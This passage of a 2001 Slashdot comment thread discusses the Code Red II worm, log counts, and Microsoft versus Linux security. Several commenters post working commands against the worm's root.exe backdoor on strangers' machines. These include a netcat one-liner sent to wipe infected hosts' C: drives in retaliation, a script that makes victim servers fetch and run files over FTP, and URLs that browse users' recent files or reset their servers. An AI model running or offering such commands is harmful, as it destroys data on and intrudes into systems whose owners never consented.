      However, is this practical? It's hard to say - it should really be done at the lowest subnets, and that would take some effort to set up. Then again, the cost of doing nothing is rapidly adding up - my modem light has been on continuously for 24 hours. I haven't see this since I downloaded the ~20GB TIGR GIS data set. :-)

      --
      For every complex problem there is an answer that is clear, simple, and wrong. -- H L Mencken
  523. Re:If this can't break Microsoft's back nothing wi by cybrthng · · Score: 2
    Well, i do run linux at home, but at work they require windows for the sake of office which i don't use anyhow. (i'm a DBA, i sit on Sun boxen all day writing sql code or fixing databases from a shell prompt).

    Even for windows users, a 120.00 linksys box and some know how will protect you. Atleast close the blatent problems and protect your internal network.

    People need to realise it is like putting locks on the doors to your house. Unless your safe and secure your allowing *ANYONE IN!*

  524. Would you like some cheese to go with your whine? by Anonymous Coward · · Score: 0

    Cry me a river.

  525. The benifits of friendly neighbors by dozing · · Score: 1

    I see a couple people saying they are getting a lot more of these hits than the original code red. Considering that someone earlier posted that it attacks the largest percentage of the time in its own netblock I'm happy to have my server living in an exclusivly linux netblock. I've only seen one of this new variant so far (from 61.211.105.21 if anyone's interested.) According to my snort logs its come accross my /24 network only 18 times. It pays to have nice neighbors.

    --
    Dozings.com -- Its kinda funny... If you're as crazy as me.
  526. Why are unix hosts getting hit so hard with this? by yzquxnet · · Score: 1

    Why are unix hosts getting hit so hard with this?

    I think this is a fair question. I know many people who run unix machines and are reportedly getting hit quite frequently with this worm. I run a Win2k Adv server and the firewall I'm using only show 1 rouge hit from the second attempt at the worm 'CodeRedII'. I was never hit with the first one. Even if I would have been, my system was already updated.

    I'm just curious. Is this worm spreading more quickly on certain IP segments, ie. @Home. Or could it be that I'm not hearing anything from the Windows users because they have their system unplugged in fear?

    On a side note, I've been nailed about a zillion times with the W32/SirCam Outlook Worm. "Hey, where's the reporting on this one." I'm sending out automatic responses to those people who are sending it too me as I somehow seem to be in their address book without haveing a clue who they are.

  527. Re:A few more details:It's a root trojan by Malcontent · · Score: 2

    Every system shows an occational defect. With MS it's an epidemic. Every week it's a new exploit.

    --

    War is necrophilia.

  528. No need. Just link default.ida to /dev/zero by Anonymous Coward · · Score: 0

    Create a symlink from default.ida in your web root dir to /dev/zero or maybe /dev/urandom. Or better yet, make default.ida a redirect to localhost or fbi.gov.

  529. Does anyone know.... by Anonymous Coward · · Score: 0

    Does this Code Red Worm affect MacOS X? I havn't been targeted..yet, but I was wondering if the worm can acceft a PPC based system.

    1. Re:Does anyone know.... by J'raxis · · Score: 2

      It's software-based, not hardware-. This is not a "computer worm," it's a Windows worm. Much like the ones that only attack Outlook, this one only travels through IIS, Microsoft's webserver.

  530. It is growing! by Umanity · · Score: 1

    I have observed a surge in attacks from the CodeRed worm. When it started I was getting about 20 hits a day from the thing. Today I have already gotten a boatload {78} of hits from it.

    I have observed a different fill character in the buffer overflow. It used to be X's and now I see N's. I am getting both varieties now.

    I have attempted to call the system administrator of the domains who are launching attacks. I have suggested that they alert the users whos machines are infested and take them offline.

    I have observed an increase in attacks in my IP block. I have my own domain space in Pacbells network. I have an increase in attacks from Pacbell San Francisco and Pacbell Los Angeles. I have seen adresses from taiwan and Quebec {I'm in San Francisco}. I'm running Apache and checking my log hourly.

    I can't wait till this thing is dead. Get people aware of what is going on, shut down the MS servers which haven't been patched.

    Link to softwaremagic.net

    --

    Michael A. Uman
    Sr Software Engineer
    softwaremagic.net

  531. Re:A few more details:It's a root trojan by ihawk · · Score: 0, Flamebait

    Hey don't worry about it man, I've got a couple of machines trawling through the address space doing deltrees on these motherfuckers. Screw NT and 2k, install Linux!

    And just how does that make you any different than the assholes who released this crap? You are damaging other people's property. Trying to disinfect might be considered acceptable self-defense. Destroying someone's filesystem after a virus left their system open is just opportunistic bullying like the scum who tried to rob the guy in San Jose after he got hit by a bus.

    Jackal.

  532. This web page was changed... by Kukuman · · Score: 1
    I just figured out how to set my Netgear RT314 to forward port 80 to my Linux box running Apache. I have only had 2 IPs hit my box so far. I decided to go to one's web page, and this is what I got:

    "fuck USA government
    fuck PoizonBOx
    contact:sysadmcn@yahoo.com.cn"

    Now, this IP range is for Verizon (former GTE) DSL near Seattle, WA, so nobody here would have a yahoo.com.cn address. As far as that PoizonBOx goes, I assume that is the name of the machine or something, but since I don't have any other samples to compare it to (the other IP didn't load), I can't be sure.
    --

    1. Re:This web page was changed... by Saint+Aardvark · · Score: 2
      Just wanted to share my shell script for getting a handy page w/links to all the infected sites I've logged:

      grep ida /foo/bar/log | awk '{print $1}' | sort | uniq |\
      awk '{print "" $1 "
      "}'

      So 3133t it hurts...

  533. Re:A few more details:It's a root trojan by Drone-X · · Score: 1
    I feel stupid for replying to myself but does
    Or you could enter http://somehost/scripts/root.exe?/C%20dir into your favourite browser.
    mean that if I do http://somehost/scripts/root.exe?/C%20notepad.exe, that notepad pops up on the other guy's computer? Since Windows can only have one user logged into the GUI at a time I'd espect this behaviour.
  534. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    But, wait a minute. I assumed that the root.exe prog in the scripts dir is what is allowing all this to happen. And I assumed root.exe was there to begin with, just now it's open season on the little scripting app. Or is root.exe added by CR2? Because if you changed the name, (is there in NT or 2k a way to change executable attributes?) It would render it useless to more attacks. Either way, that Apache admin fight back attitude is good. Could you imagine the news reporting that Apache admins were able to spearhead the CR2 Attack?

  535. I go to school with that guy by gascsd · · Score: 1

    Seriously. I'll give him shit if you want. =)

    1. Re:I go to school with that guy by Swaffs · · Score: 1

      Just point him to this thread... that should be good enough.

      --

      --
      "Karma can only be portioned out by the cosmos." - Homer Simpson [1F10]

  536. Get a life by ioman1 · · Score: 1

    Whoever is programming these virus's need to get a real life, a real job and a real woman. Stop wasting time with this.

  537. Re:Why don't they... by Malcontent · · Score: 2

    Yes because MS does nto have enough programmers or enough money or enough computers to actually do this themselves. We should all roll up our sleeves and provide free labor for MS. Of course we should also ignore them when they call us communists, an-american and a "cancer". After all they need our help in fixing their broken systems.

    --

    War is necrophilia.

  538. Re:What about.... by jarodss · · Score: 1

    Dude, it was a joke, and thus modded as Funny, Read HAHA.

  539. File download script by nebby · · Score: 2
    I played around for a few hours with this, trying to make a ghetto script that would fix the servers. There's no way for me to be sure my other stuff works, but the thing I did get working was a script to download files to the infected server from an ftp site.


    #!/bin/sh
    # Code Red ][ Download File script
    # Usage: dlfile.sh infectedIP filename
    #
    # Please set the $ftp and $dir values to
    # the ftp and directory of the patch and shutdown repository

    # For ftp.youhavesetup.com
    FTP="ftp%2eyouhavesetup%2ecom"
    # Directory /pub/cr
    DIR="%2fpub%2fcr"

    echo GET /scripts/root.exe?+%2fc+echo+bin+%3etmpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+get+$DIR%2f$2+%3e%3et mpfile | telnet $1 80
    sleep 1
    echo GET /scripts/root.exe?+%2fc+echo+ftp+%2dA+%2ds%3atmpfi le+$FTP+%3edlfile%2ec
    md | telnet $1 80
    # Note that slashcode inserts a space in the string 'tmpfile' on both these lines, remove before running
    sleep 1
    echo GET /scripts/root.exe?+/k+dlfile%2ecmd | telnet $1 80


    I tried setting it up and got the servers to download the patches, but I can't be sure that they are actually run. (I don't have an infected machine to test.) Also, I was unable to figure out a way to get the machines to reboot or restart IIS. It appears root.exe has limited permission in what it can do (as another poster or two stated.) There might be hacks that will do what I want to, but I'm too tired to mess with this anymore :)

    --
    --
  540. Re:Something that should happen more often. by RzUpAnmsCwrds · · Score: 1

    Thanks man [woman]! That response was even better than my original comment.

    ... and you even caught my numerous spppeeelling errrs. Mnnnn typping onnnnna callular phune rly mks splng sk. Al ths abrs mk rdng hrd.

    An tnx 4 the cmt.

  541. Why don't they... by Greyfox · · Score: 4, Insightful

    Modify the code red code to apply the security patch to the vulnerable IIS servers and reboot the system? While this is potentially destructive to your system (I'm told -- MS security patches and all that) it would pretty well take care of this problem...

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

    1. Re:Why don't they... by Anonymous Coward · · Score: 0

      Robert Morris, Jr., the worm crippled hundreds of thousands of computers connected to the Internet. It just so happened that young Mr. Morris's dad was the Chief Scientist at NSA.

    2. Re:Why don't they... by LinuxHam · · Score: 1

      This was mentioned about 75 posts ago.. create a small army of Apache hosts that automatically respond to CRII attacks with a reverse attack that forces the host to patch and reboot itself.

      I think the army should execute "net stop www" or "route delete 0.0.0.0" on CRII-infected hosts. There are better ways to (semi) permanently "cleanse" the Internet of unprotected hosts, but that's the nicest way I can think of. All it takes is a little psychological reprogramming of the sysadmins. Like having their server entirely blown away with the announcement of each new system-level exploit. They will eventually break down and change their ways.

      --
      Intelligent Life on Earth
    3. Re:Why don't they... by joshwa · · Score: 1

      whoops, sorry, didn't mean to use +1 bonus on this.

  542. Something that should happen more often. by RzUpAnmsCwrds · · Score: 5, Funny

    Man, I'm glad that I'm not using [Microsoft Product]. This new [virus/worm/trojan] exploits a [flaw/bug/backdoor] in [Microsoft Product], and it [does/doesn't] use Outlook and the stupidity of users. Luckily, I'm running [Free alternative to Microsoft product], so I'm not at risk. In fact, [Free alternative to Microsoft product] has protected me from [any integer over 200] [viruses/worms/trojans]. And just look at the [hundreds/thousands/millions/billions] of dollars that I've saved using [Free alternative to Microsoft product]. I hope that this [Free alternative to Microsoft product] takes off, along with [free alternative to Microsoft OS]. Unfortunately, my [company/home] has to pay for the stupidity of Microsoft: this [virus/worm/trojan] sucked [250KB/250MB/250GB/250TB] of bandwidth!

    1. Re:Something that should happen more often. by ananke · · Score: 1

      being a little devil advocate, i shall ask: did you hear on news about thousands of machines being compromised over the course of couple of days? :)

      --
      --- d'oh
    2. Re:Something that should happen more often. by Malcontent · · Score: 2

      Since I happen to use debian I am subscribed to the security listserve.

      Once again. Let's count the number of remote expoits for apache and IIS and decide which system is more secure. So far you have pointed out two defects. One in 1988 which was a worm and one recently which allowed directory listings (but no code excution). I'd say that's an admirable track record.

      Wehn confronted with these facts any sysadmin who continues to use a insecure system like IIS is criminally negligent. Any organization which chooses to deploy such an unsecure web server ought to be sued.

      --

      War is necrophilia.

    3. Re:Something that should happen more often. by sheldon · · Score: 2

      IIS consists of:

      Web Server
      FTP Server
      Indexing server
      SMTP server
      NNTP server

      and maybe a slew of other things, if you consider IIS4 shipped with MTS and MSMQ.

      So in comparing IIS to Apache you are limiting the scope of the argument, which might seem clever to you, but is unfair.

      How many exploits have their been to mail and ftp servers on Linux?

    4. Re:Something that should happen more often. by mefus · · Score: 1

      That 'remote exploit' isn't a root exploit, it doesn't even let you run commands. The only danger to it is that it allows anyone to read directory listings on your system. I think 'involuntary information release' is a better description, a weakness that allows remote parties to gather some data about your filesystem.

      But thanks for the warning, I'm updated and subscribed. :)

      --
      mefus
      In Open Society, GPL Software frees YOU!
  543. Re:A few more details:It's a root trojan by cybian · · Score: 1

    Or, for even more fun:

    GET /scripts/root.exe?/c+dir+\ HTTP/1.0

    The rest is left as an exercise to the reader.

  544. Re:cisco 675 hanging. by lichtin · · Score: 1

    Cisco page

  545. Instead of random IPs... by Anonymous Coward · · Score: 0

    ...not to give ideas to future worm writers, but one could add the capability to target known IIS sites to the worm. You can extract tons of them off-line from Netcraft, all you have to do is put the list up on servers somewhere. The worm could (with a small probability) go to a "list server" and select targets from it.

    If the "victim list servers" could be sufficiently distributed (hopefully over countries/continents), you could have sufficient resiliency to bring down most of the high-profile IIS servers pretty soon. Micros~1 would have a difficult time covering that up.

  546. @home by jezmund · · Score: 1

    I'm on an @home network and I've been getting hit pretty hard almost since the first XXX query at about 6 this morning. Since then it's just kept building....I probably get about 60+ an hour right now, and I'd say about 99% of those are from within @home. And things have slowed down a LOT.

    Just for perspective....the first time around I get hit maybe 10-15 times TOTAL by Code Red. The second time around, I've been getting 20-30 hits per day of the NNN variety, so this is quite a HUGE increase.

    --

    "fist in the air in the land of hypocrisy"
  547. Re:If this can't break Microsoft's back nothing wi by Nightpaw · · Score: 1

    Yeah, and then they yell at your for messing up their computer when you try to clean the damn thing up a little.

  548. CR2 Web Defacements by gordzilla · · Score: 1

    I've been checking out some of the ip addresses that have been trying to send
    me CR2 and I've found that there seems to be two different defacements.

    The first is directed at the US government
    and the second is directed at the Chinese government.

    Is it possible there are two versions of CR2?

  549. what MS has done. by jon_c · · Score: 2

    If you go to microsoft.com you will not see anything about CodeRed. however a quick search will find you this which is that patch.

    One nice thing about the worm is that it is only active in memory, meaning that if you reboot your machine it will die.

    The unfortunate part is that I don't see it helping much. I think the problem is that thousands of neglated NT/2K boxes with net connections, collecting dust, and getting eaten by worms. Soon this will be called the infected net, the part of the internet that has withered into sludge and pounds away at the rest of the net.

    After a while the media will infect the people, soon follows the lawmakers. once that happens the goverment will madate that computers on the public net must be licenced, and maintained regularly. if you computer is infected by a worm, virus, trojan etc.. you will be issued a fine. the internet will be taxed to support the "federal internet saftey commision". a group of FCC regects that constantly moniter and scan you box to make sure you up to code.

    -Jon

    --
    this is my sig.
    1. Re:what MS has done. by T-800 · · Score: 1
      Seriously, go to Microsoft.com and tell me that it say's "nothing" about Code Red.

      You are a grade A, Slashbot. Browniepoints from Taco ^_^ !!!

      For the lazy I'll just link it: Code Red Worm

    2. Re:what MS has done. by dozing · · Score: 1
      One nice thing about the worm is that it is only active in memory, meaning that if you reboot your machine it will die.

      The Problem with this new varation is that the worm will be gone when the system is rebooted, but unless I'm wrong the root exploit will still be in place allowing anyone remote access to this machine. Installing the MS patch won't fix this either. This is a whole new can of worms (Sorry I couldn't help that last line)

      --
      Dozings.com -- Its kinda funny... If you're as crazy as me.
  550. This is great by GC · · Score: 2
    root@gate:~# telnet x.x.x.x 80
    Trying x.x.x.x...
    Connected to x.x.x.x.
    Escape character is '^]'.
    GET /scripts/root.exe?/c+iisreset HTTP/1.0

    HTTP/1.1 502 Gateway Error
    Server: Microsoft-IIS/5.0
    Date: Sun, 05 Aug 2001 14:43:22 GMT
    Content-Length: 215
    Content-Type: text/html

    Error in CGI Application
    CGI ErrorThe specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are:

    Connection closed by foreign host.
    root@gate:~# telnet x.x.x.x 80
    Trying x.x.x.x...

  551. Re:If this can't break Microsoft's back nothing wi by Anonymous Coward · · Score: 0

    Block WAN Request This feature is designed to prevent users from attacking through the internet. When it is enabled, the router will drop both the unaccepted TCP request and ICMP packets from WAN site. The hacker will not find the router by pinging the WAN IP address.

    I have one of these. They are great for running server boxes on a cable modem. Your ISP cant port scan you and actually see anything running. Wonderful.

  552. 14 year olds? Use rmdir guys! by Anonymous Coward · · Score: 0

    echo -e GET /scripts/root.exe?%20/c%20rmdir%20/s%20/q%20c:\\ HTTP/1.0\\n | nc *IP TO FUCK* 80

    I'm going to run this against any fuckers who hit my web server with this. It's time to fight back.

  553. Where my hits are coming from by Anonymous Coward · · Score: 0

    Being located in Australia on a dial-up subnet I haven't been subject to the same deluge of connection attempts as the adsl and dsl subscribers in the USA and my hits are coming from other sources. In the 150+ hits I have had today that I can identify from the Code Red II worm the majority have been from Taiwan, a couple from India and mainland China. Currently it seems to have moved onto Korea as thats where the recent ones have been sourced. 100% of the ones I have Netcrafted (I _like_ that site) have been winblows 2000 running IIS 5. I have had one hit from a german site but I think that was a genuine attempt to find a hole. I am still in the process of collectng ip's at the rate of one at about every five to ten minutes which indicate a possibility of a _lot_ of infected machines out there.

  554. MSNBC Coverage by bloodgodjoe · · Score: 0, Flamebait

    I wonder why MSNBC isn't doing a major story on this.. Gee, I can't figure it out.. I'm just waiting for the headline stories about Microsoft's heads up coding preventing any worm like this from happening again 3 days before the next one strikes..

  555. Re:cisco 675 hanging. by berzerker3 · · Score: 1

    Who sold you the hardware? If it's Qwest (which I think it was since you HAVE to go through them for at least the DSL connection (not the ISP though) if you are in thier area) then they should be required to. If they don't then that is just horrible business practice IMO. Either way they are my ISP until I switch to another one VERY soon, and they had better have what I need. Once I get it I'll set it up for download if I can and then post it. I personally think Cisco's requirements for registration is idiotic but hey, since we're just the end users I guess it's ok to piss all over us and tell us it's for our own good (please note HEAVY use of sarcasm).

  556. Re:Would you like some cheese to go with your whin by cybrthng · · Score: 2, Flamebait

    waaaa waaaaa if no one asked why, then we wouldn't be here

  557. Re:Free r00t for all! by dwlemon · · Score: 1

    only I can't figure out how to actually use the backdoor.

    you get "c:\inetpub\scripts>" but just typing commands does nothing.

    perhaps it's only the illusion of a backdoor, maybe root.exe is just a text file containing "c:\inetpub\scripts>".. though there is always a delay before it pops up.

    i guess i can stop messing with peoples poor computers and let somebody else figure it out.

  558. Re:Hypothesis by legoboy · · Score: 1

    Only in BC, I think.... Isn't this the BC Day long weekend?

    All I know is that I have a bunch of days off in a row.

    --
    If a tree falls on an anonymous coward yelling 'first post' in the forest, does anybody hear?
  559. Re:If this can't break Microsoft's back nothing wi by TrollMaster5000 · · Score: 1

    Actually, the SSA (Social Security) has been hit with it. They run NT4. They only have SP3. I don't think im going to stay in a coporate country much longer. Im moving to Japan.

  560. cisco 675 hanging. by Teratogen · · Score: 1

    I have port 80 on my Cisco 675 router turned off.
    In fact, it was the first thing I did when I configured the router. But somehow this Code Red worm is still hanging the router occasionally, so that I have to power cycle it. Anyone know why this is happening?

    --
    --- even the safest course is fraught with peril
    1. Re:cisco 675 hanging. by Anonymous Coward · · Score: 0

      Says it is available to visi customers only.

    2. Re:cisco 675 hanging. by berzerker3 · · Score: 1

      You have another link? I get access restricted to Visi customers only pages.

    3. Re:cisco 675 hanging. by Dmitry+Skylarov · · Score: 0

      You aren't "tired," you're just a moron. And what a moron! Woohoo! Go MORON!

      --

      ----
      Please, I are begging you! To save Dmitry from teh jail!

    4. Re:cisco 675 hanging. by trailerparkcassanova · · Score: 1

      You can get it here.. http://www.qwest.com/dsl/customerservice/modemsupp ort.html

    5. Re:cisco 675 hanging. by trailerparkcassanova · · Score: 1

      Never mind, it's .1

    6. Re:cisco 675 hanging. by Anonymous Coward · · Score: 0

      Qwest tries to validate each version of CBOS before it releases it. We had the same battle when 2.2.0 was out and widespread and it was very easy to DoS it... 2.4.1 has been out for a while and months later we were finally able to get it...

  561. Hypothesis by nebby · · Score: 2

    I bet they launched it on Saturday morning on purpose (or Friday night even.) By the time Sunday is over, the hacker(s) will have root access to a shitload of computers, and the sysadmins who hesitated patching showing up Monday morning will have long been 0wned.

    Like someone said elsewhere, the best (and only I think) way to partially fix this problem is to write a variant of the worm (Code Green? :)) that fixes all the servers before it gets out of hand. Apache server or not, if 100,000 computers are infected, the traffic costs of Code Red 1, 2, etc. hits alone will be enough of a incentive to fix the IIS servers. (Though it is kind of exciting to think of Microsoft having egg on their faces Monday morning when they get DoSed by 100,000 cable modems in one deafening yell.. but I digress)

    --
    --
    1. Re:Hypothesis by SuiteSisterMary · · Score: 1

      Ah, but don't forget that Quebec doesn't consider itself part of Canada, but still wants it's share of public funding.

      --
      Vintage computer games and RPG books available. Email me if you're interested.
  562. True of linux too by boldra · · Score: 1

    Two weeks ago I had a redhat 6.2 machine compromised (by an rcp exploit) within 6 hours of installing it. ANY machine not running the very latest security patches should not be connected to a live network.

    Of course, the proliferation of Win2k & IIS and worms that infect them means that you'll probably get your system probed sooner running them, but this is going to be true of any popular OS.

    --
    I've been posting on the net since 1994 and I still haven't come up with a good sig!
  563. Re:RIAA!! by Silver222 · · Score: 0, Troll

    What about Adobe? :)

    --
    "It's not a war on drugs, it's a war on personal freedom. Keep that in mind at all times." Bill Hicks
  564. complete analysis of worm ida_root by corecode · · Score: 1

    i have analyzed this new worm.

    zipped IDA project file and plaintext file can be found at
    http://www.eikon.tum.de/~simons/ida_root/.

    cheerz
    corecode

  565. Free r00t for all! by whatnotever · · Score: 1, Insightful

    So here we basically have thousands of boxes with open backdoors, _broadcasting_ their presence to the world.

    And with people so nicely distributing their logs here in this forum, the collection of ips is easier than ever!

    Now that they have the backdoors, though, how hard would it be to patch them remotely? I'm thinking that if you put up a single exe on any old webserver, you could tell each infected host to just download and execute it. The only problems are writing the exe (not too hard), and figuring out how to get the host to download it, using the backdoor (probably trivial).

  566. it happened to us by john_uy · · Score: 1

    well it sure did happen to us. as we finished installing windows 2000, we immediately got dos attacks and ate up our e1 bandwidth.

    however, when tracing the ip address, attacks have been spoofed with private and not allocated ip blocks.

    is this part of the code red worm?

    johnlaw

    --
    Live your life each day as if it was your last.
  567. Re:There's been stacks of Unix worms this year by Malcontent · · Score: 2

    Most services can be jailed.

    BTW Linux has permission systems if you choose to implement them. Unlike the windows world we get choices.

    --

    War is necrophilia.

  568. Re:There's been stacks of Unix worms this year by Malcontent · · Score: 2

    There are filesystems which support ACLs you ought to look into them. As you stated there are also capability systems you can implement.

    Weather to chroot services or not is a decision made by the sysadmin.

    --

    War is necrophilia.

  569. Routers should be blocking infected IP's by Eminor · · Score: 1

    The owners of routers should be blocking the IP addresses of any unpatched IIS servers. It is their responsibility to make sure their equiptment does not comprimise the Internet.

  570. What about.... by jarodss · · Score: 4, Funny

    My range, I don't seem to find anything coming from 127.x.x.x and I installed CodeRedII myself.

  571. # attempts by Anonymous Coward · · Score: 0

    148 so far today against an org in 64. space

  572. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  573. Charter Communications disables email by Anonymous Coward · · Score: 0

    Yes, they shut down their pop3 server to keep it from spreading.....
    (i'm sure you're just crushed)
    So, what do you think? Was this an intelligent move or just silliness?

    either way, it sucks for me that I can't access the mail server :(

    oh well, what can I say but: c'est câble :-)

  574. Scan Logs from a beleagured RoadRunner user by Anonymous Coward · · Score: 0

    Having a RoadRunner acccount, I am getting hit alot. A parse of my logs is located here on a separate account I have.
    My numbers are off a bit since I had my web server down for about 11 days from July 20th to July 31st.
    I have received 129 CR1 scans and 267 CR2 scans so far. I have noticed that the scan rate for CR2 seems to be higher but I might just be imagining things, or it might be inaccurate due to incomplete data.


    cF (Hiding behind my Linux firewall)

  575. A proposal by whatnotever · · Score: 1

    For those getting scanned and logging it:

    Each time a host scans you, inform the user/operator/whatever of that machine that he/she is infected. How? Use the backdoor. Send a single request to the backdoor that opens up their browser to http://www.digitalisland.net/codered/ or a similar page. Just have the backdoor run "start http://whatever.url.you.choose/".

    It's easy, and it can be automated. Even easier would be to just write/run a script that goes through your logs and does that for each host that attempted a scan.

  576. Re:Why are unix hosts getting hit so hard with thi by Anonymous Coward · · Score: 0
    Are you sure that 1 attempt really didn't infect you?try this on your system:

    http://infected_system/scripts/root.exe?/c+dir+c:\

  577. Recent directory under windows + desktop - idea by Anonymous Coward · · Score: 0

    try this

    http:// {infected ip here }/scripts/root.exe?/c%20dir%20c:\windows\recent

    and see what the admin's been doing!

    the first time I tried this on someone, I got:

    05 16 2001 11:54p 336 Cc1.avi.lnk
    05 16 2001 11:54p 342 Blow1.avi.lnk
    05 16 2001 11:54p 366 philly_03.mpa.lnk
    05 16 2001 11:54p 335 1.zip.lnk
    05 17 2001 12:13a 335 3.zip.lnk
    07 14 2001 01:58p 347 Maishman Accounting.mdb.lnk
    07 14 2001 01:58p 302 Dessi.doc.lnk
    07 14 2001 01:58p 293 Dessi.jpg.lnk

    looks like everyone loves p0rn!!!

    jesus christ, think of how terrible this is.. tens of thosands of machines with ROOT ACCESS to anyone with a web browser.. credit card numbers, passwords, etc... this is INSANE.. thanks microsoft!!!

    for the GOOD guys out there, try to put something on the desktop along the lines of "YOU HAVE A VIRUS!", ie echo >c:\windows\desktop\"you have a virus.txt"

  578. Re:A few more details:It's a root trojan by lalleglad · · Score: 1

    Thanks a lot for your suggestion!

    I tried it a couple of times, but all the time I got pages back either explaining 'the server is busy' or some such, and I did make sure to first clean out the spaces you mentioned. I didn't pay much attention to the text, but I then gave up trying, as it isn't actually *really* my problem :-)

    I only got around 110 CR2 attempts on my own server since this morning so it doesn't choke it at all or deny me any service that I have.

    Most IPs must be temporary [dialup?] connections anyway, because most of them don't connect at all (ping, regular telnet 80) and it is then amazing that those people run vulnerable webservers and get attacked in the [short?] window of time they are connected.

  579. Can't wait for job fairs... by StarTux · · Score: 1

    Going to a technical job fair this weekend. Luckily I know a bit (not everything there is to know yet, if knowing everything is ever possible) about running Apache.

    Maybe we'll see a rise in demand for experienced *nix and GNU/Linux users...

    We'll see :-).

    StarTux

  580. I work for Road Runner Technical support and by NomadNerd · · Score: 1

    we are getting insane amounts of calls about this exact problem, and most of them from users that submit firewall logs documenting the attack, its hosing the service, routers are being taken offline left and right.

    --
    I plan to live forever, so far so good...
  581. let them know by putting warning on the desktop by Anonymous Coward · · Score: 0

    to notify someone that they have this, try the following:

    http:// {infected ip here } /scripts/root.exe?/c%20echo%20f>c:\windows\desktop \ warning%20you%20have%20the%20code%20red%202%20viru s%20your%20computer%20attacked%20mine%20please%20g et%20a%20virus%20scanner.txt

  582. Lets see. by casings · · Score: 1

    Im @home, and im denying and logging port 80... ive seen about 400 attempts from differnt ips in the 24 addys. go @HOME!

  583. Surely there is a way to undo it...... by japes · · Score: 1

    Does the worm close off any subsequent attacks? I cannot see that it does. I have been looking at a few logs and see that both the anti-US hack as well as the SirCam hack can co-exist on the same server.

    Is it possible to write a similar script that will a) re-write default.asp to a more friendly hack -- stating that the host is wide open and have re-set perms so that it cannot be hacked again? Basically deadbolt the door behind you?

    There could be a new format of warfare out on the net, where the good worms are in a race against the bad. It seems though that it would definitley test the prowess of the best coders out there!!!

  584. Re:A few more details:It's a root trojan by Anonymous Coward · · Score: 0

    How about just call "net stop {IIS service name}"? I forgot what the IIS service name is...

  585. Re:It's not safe to install IIS while on a network by Bob+Uhl · · Score: 2

    It's not safe to install IIS or any MS OS. Period. Don't plug it in after you've installed; you know that you'll be hit again. Install a real OS--Linux, FreeBSD, OpenBSD, NetBSD--and go to town. They're all general-purpose OSes. They can all do what you need. Deal with their problems; it's better than deal with Microsoft's.

  586. Re:If this can't break Microsoft's back nothing wi by Bob+Uhl · · Score: 2
    The reason the "core functionality" of your PC is "allowed" to distribute your private information is because it has to be able to do so if you're going to write emails to your friends. Not quite (or at least, not the way you're thinking, I believe). An OS with capabilities doesn't have quite the same issue. Essentially, a capability is permission to do something: see a file, read it, execute it, open a network connection. In such an OS, the web server is giving capabilities to: see everything in its docroot; execute everything in it cgi-bin; receive network connexions. It cannot read your personal data; it cannot open its own network connexion. Done right, it cannot even access libraries it doesn't use.

    Capability systems are far more complex than older, permissions-based systems. But don't we owe it to ourselves to use some of our spare CPU cycles and bytes to actually do something? With the right administration tools, capabilities should be doable. And worms like Code Red would be made much more difficult.

  587. Re:logs (Similar numbers with ZoneAlarm) by Anonymous Coward · · Score: 0

    My machine was online for about 24 hours yesterday via @home, and I logged 197 http requests, which I suspected were caused by CodeRed. I've been online today for less than 1/2 an hour, and I've got 17. It really is slowing the network down badly.

  588. Re:If this can't break Microsoft's back nothing wi by Bob+Uhl · · Score: 2
    A previous poster quoth:

    The reason the "core functionality" of your PC is "allowed" to distribute your private information is because it has to be able to do so if you're going to write emails to your friends.

    Bear with me--trying to break the no-dups posting rule...

    Not quite (or at least, not the way you're thinking). An OS with capabilities doesn't have quite the same issues as one without. Essentially, a capability is permission to do something: see a file, read it, delete it, execute it, open a network connection. In such an OS, the web server is giving capabilities to: see everything in its docroot; execute everything in it cgi-bin; receive network connexions. It cannot read your personal data; it cannot open its own network connexion. Done right, it cannot even access libraries it doesn't use. It's a very interesting concept.

    Capability systems are much more complex than older, permissions-based systems; they can be much slower. But don't we owe it to ourselves to use some of our spare CPU cycles and bytes to actually do something useful, such as prevent break-ins? With the right administration tools, capabilities should be about as easy as current permission systems. And worms like Code Red would be made much more difficult. Not impossible--but more difficult.

    Damn bloody no-resumbit code sux. Have to change this article enough to let the blankety-blank slashcode let me through 'cause I made a mistake on the previous post. Bloody friggin heck.

    And the stupid 20-second rule is getting me now.

  589. Re:If this can't break Microsoft's back nothing wi by IronChef · · Score: 2



    - Operating systems are more complex than cars.
    - Operating systems don't require a license to be operated.


    Irrelevant. There are plenty of products that are more complex than cars, and consumers are still protected if they fail dramatically. Pharmaceuticals, for example. Designing a molecule and testing it is at least as difficult as designing a car.

    Do you seriously think that the complexity of the product is an excuse? That's crazy. Far better to ask the companies to simply know their limitations, and not ship products that they can't build to reasonable standards of quality.

    The licensing issue is irrelevant too. If my microwave catches fire, I can sue somebody. If my custom-built house collapses, I can sue somebody. If my shotgun explodes, I can sue somebody.

    I don't mean to sound sue-crazy -- but the only deterrent we, the public, have, is our ability to use the legal system to whack companies that try to pull a fast one on us. If we lose that ability, we'll have nothing but crap to choose from.

  590. Re:A few more details:It's a root trojan by Megahurts · · Score: 1
    from mcaffee:
    It spreads through TCP/IP transmissions on port 80. By making use of this exploit, the worm is able to send itself as a TCP/IP stream directly to the its victims, which in turn scans the web for other systems to infect. Once infected, this viral code checks for the existence of C:\notworm. If the file C:\notworm is present the worm stops seeking other machines to infect.
    perhaps http://infectedser/scripts/root.exe?/c+md%20c:\not worm as an automated response to requests for default.ida?
  591. Re:It's not safe to install IIS while on a network by Anonymous Coward · · Score: 0

    I can tell you that I work for a VERY large corporation and after this weekend of hell, we may seriously think about removing all IIS from the enterprise.

  592. Haha by Whoever · · Score: 0

    65.3.142.118 - - [05/Aug/2001:13:54:13 -0700] "GET /default.ida?XXXXXXXXXXXXXXX$
    65.3.198.25 - - [05/Aug/2001:13:54:42 -0700] "GET /default.ida?XXXXXXXXXXXXXXXX$
    65.3.36.203 - - [05/Aug/2001:13:55:33 -0700] "GET /default.ida?XXXXXXXXXXXXXXXX$
    65.3.25.229 - - [05/Aug/2001:14:01:32 -0700] "GET /default.ida?XXXXXXXXXXXXXXXX$
    65.3.198.65 - - [05/Aug/2001:14:03:37 -0700] "GET /default.ida?XXXXXXXXXXXXXXXX$
    65.3.7.109 - - [05/Aug/2001:14:06:23 -0700] "GET /default.ida?XXXXXXXXXXXXXXXXX$
